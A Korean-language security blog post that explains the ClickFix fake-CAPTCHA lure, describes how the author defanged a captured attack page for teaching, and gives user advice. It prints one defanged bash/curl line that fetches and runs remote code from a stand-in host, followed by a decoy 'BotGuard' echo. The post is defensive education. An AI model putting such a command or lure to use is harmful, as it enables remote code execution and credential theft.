"인증하려면 터미널에 붙여넣으세요" — 가짜 캡챠를 무해화해 교보재로 만들기
캡챠는 "당신이 로봇이 아님을 증명하는" 익숙한 관문입니다. 그런데 어떤 캡챠는 체크박스를 누르는 대신 터미널을 열어 명령어를 붙여넣으라고 시킵니다. 그 지시를 따르는 순간 감염이 끝납니다. 이 수법을 ClickFix라고 부릅니다.
발상을 뒤집은 공격입니다
보안 소프트웨어는 낯선 프로그램이 자동으로 실행되는 것을 막습니다. 그래서 공격자는 순서를 바꿨습니다. 피해자가 자기 손으로 실행하게 만드는 것입니다.
이렇게 되면 대부분의 방어가 무력해집니다. 사용자가 직접 터미널에 입력한 명령이니 시스템 입장에서는 정상적인 사용자 행위입니다. 다운로드 경고도, 서명되지 않은 앱 차단도 이 경로에는 걸리지 않습니다. 실제로 이 수법 하나로 macOS 로그인 암호와 키체인, 브라우저에 저장된 자격증명이 통째로 유출된 사고가 있었습니다.
속임수는 네 겹으로 쌓여 있습니다
| 층 | 하는 일 |
|---|---|
| 브랜드 도용 | 익숙한 캡챠 UI와 로고, 진짜 검색 엔진 도메인으로 향하는 링크까지 넣어 신뢰를 빌려옵니다 |
| 화면 잠금 | 오버레이가 원래 페이지를 덮고 스크롤을 잠급니다. 넘기지 않으면 아무것도 못 합니다 |
| 가짜 인증 ID | 세션마다 무작위로 찍히는 번호입니다. 아무 기능이 없고 진짜처럼 보이게 하는 장식입니다 |
| 붙여넣기 유도 | 핵심입니다. "터미널을 열고 붙여넣은 뒤 엔터"를 안내하는데, 클립보드에는 이미 악성 명령이 들어가 있습니다 |
사용자는 자기가 복사한 적이 없습니다. 체크박스를 클릭하는 순간 페이지가 조용히 클립보드를 덮어씁니다. 그래서 안내대로 붙여넣으면 자기가 무엇을 붙여넣는지 모른 채 실행하게 됩니다.
가장 교묘했던 것은 마지막 한 줄이었습니다
붙여넣어지는 명령은 대략 이런 형태입니다. 아래는 실제 주소를 통째로 지운 무해화 표기입니다.
/bin/bash -c "$(curl -A '...' -fsSL 'hxxp://[지워진 주소].example/?...')" ; echo "BotGuard: Answer the protector challenge. Ref: 73282"
앞부분은 원격에서 코드를 받아 즉시 실행하는 흔한 형태입니다. 눈여겨볼 것은 뒤에 붙은 출력 문구입니다. 이 줄 때문에 붙여넣은 직후 화면에 마지막으로 남는 것이 "BotGuard: ... Ref: 73282"가 됩니다.
사용자는 인증 확인 문구가 출력됐다고 착각합니다. 정작 위험한 앞부분은 스크롤 위로 밀려나 시야에서 사라집니다. 공격이 성공했다는 신호를, 공격당한 사람에게 성공적으로 인증했다는 신호로 보이게 만든 셈입니다. 이 디테일을 보고 한동안 생각이 많았습니다.
"조심하면 되지 않나"라고 말하기 어려운 이유
이런 사고를 보면 사용자 과실로 정리하고 싶어집니다. 다만 이 화면은 넘기지 않으면 원래 페이지를 쓸 수 없도록 구조적으로 가둡니다. 여기에 익숙한 맥락과 브랜딩, 그리고 실패해도 계속 반복되는 안내가 겹칩니다.
조금만 급하거나 조금만 피곤하면 누구나 지시를 따를 수 있게 설계되어 있습니다. 이 설계를 이해하지 않고 "조심하라"고만 말하면, 다음에 당한 사람이 자기 탓을 하며 신고를 늦추게 됩니다. 사고 대응에서 가장 비싼 것은 그 지연입니다.
교보재를 만들며 정한 선
이 화면을 설명만으로 전달하기는 어려웠습니다. 실제로 보면 왜 속는지 바로 이해되지만, 글로 옮기면 "그걸 왜 따라 해요"가 되기 때문입니다. 그래서 실제 사고에서 확보한 페이지를 무해화해 재구성했습니다.
다만 공격 페이지를 그대로 복제해두는 것은 그 자체로 위험을 만드는 일이라, 시작하기 전에 지울 목록을 먼저 정했습니다.
- 동작 제거 — 클립보드 주입, 외부 통신, 화면 탈취, 환경 판별 로직을 전부 걷어냈습니다. 남은 것은 아무 동작도 하지 않는 정적 화면입니다.
- 주소는 지우고, 흔적도 남기지 않기 — 흔히 쓰는
hxxp표기만으로는 부족하다고 봤습니다. 되돌리면 진짜 주소가 나오기 때문입니다. 그래서 도메인 자체를 예약된 예시 도메인으로 치환했고, 그 텍스트는 복사도 되지 않게 했습니다. - 실 지표 0건 — 침해된 제3자 도메인, 명령 서버 주소, 추적용 식별자를 하나도 넣지 않았습니다. 특히 침해된 도메인은 그 소유자도 피해자라, 이름을 적는 것 자체가 2차 피해가 됩니다.
- 검색에서 격리 — 페이지 메타와 크롤러 규칙 양쪽에서 색인을 막았습니다.
- 맥락 고정 — 재현 화면은 접어두고, 펼치기 전과 후에 교육용이라는 배너를 남기고, 샌드박스 프레임 안에서만 뜨게 했습니다.
왜 색인까지 막았나
이 부분을 가장 오래 고민했습니다. 검색에 노출되면 더 많은 사람이 보고 도움이 될 텐데, 그걸 스스로 막는 셈이니까요.
두 가지가 걸렸습니다. 하나는 재활용입니다. 무해화했더라도 "그럴듯한 가짜 캡챠 화면"이 검색으로 쉽게 닿는 곳에 있으면, 그 자체를 미끼로 쓰려는 시도가 생깁니다. 다른 하나는 오인입니다. 스크린샷만 잘려 퍼지면 특정 브랜드를 사칭한 페이지처럼 보입니다.
그래서 설명하는 글은 검색에 열어두고, 재현 화면만 닫아두는 쪽으로 갈랐습니다. 판단이 필요한 것은 화면이 아니라 수법이라고 봤기 때문입니다.
기억할 세 줄
- 어떤 캡챠도 터미널이나 PowerShell, 실행 창을 요구하지 않습니다. 이 지시가 나오면 100% 공격입니다.
- "복사됐으니 붙여넣어 인증하라"는 안내를 만나면 즉시 탭을 닫고, 클립보드가 이미 오염됐을 수 있으니 아무 데나 붙여넣지 말고 다른 텍스트를 복사해 덮으세요.
- 실수로 실행했다면 네트워크를 끊고 침해대응 절차를 따르세요. 저장된 비밀번호를 포함해 자격증명 전면 교체가 필요합니다.
남는 생각
보안 글을 쓸 때 가장 어려운 것은 수위 조절이라는 생각이 들었습니다. 너무 가리면 왜 위험한지 전달되지 않고, 그대로 보여주면 재료가 됩니다.
이번에 도움이 된 것은 지울 목록을 먼저 정하고 시작한 것이었습니다. 만들면서 판단하면 "이 정도는 괜찮겠지"가 계속 쌓입니다. 무엇을 지울지 먼저 적어두면, 나중에 애매한 것이 나왔을 때 그 목록에 비추어 답할 수 있습니다.
관련 글
whois와 dig로 5분 만에 스미싱 문자 가짜 판별하기
WhatsApp 사칭 스미싱 문자를 받았습니다. 링크는 한 번도 열지 않고 whois와 dig 두 명령만으로 신규 등록 도메인·은닉된 등록자·정식과 다른 인프라를 확인해 5분 만에 가짜로 판별한 과정을, 그대로 따라 칠 수 있게 정리했습니다.
노트북을 잃어버리면 무엇이 사라지는가 (3) — 백업을 믿을 수 있게 만든 실전 함정들
clone하면 된다는 착각, 원격 URL에 박힌 토큰, age 키 경로 함정, 멀티라인 값 손상까지. 백업을 '저장했다'가 아니라 '새로 clone해 실제 복호화된다'로 증명하기까지 마주친 실전 함정들을 문제·원인·해결·검증으로 정리했습니다.
노트북을 잃어버리면 무엇이 사라지는가 (1) — 값은 살아있는데 못 들어가는 역설
노트북 한 대에 모든 개발 자격증명이 몰려 있다는 걸 뒤늦게 깨달았습니다. 시크릿 값의 생존과, 그 값에 닿을 수단의 생존은 전혀 다른 문제였습니다. 값을 한 번도 출력하지 않고 자산을 전수 조사한 기록입니다.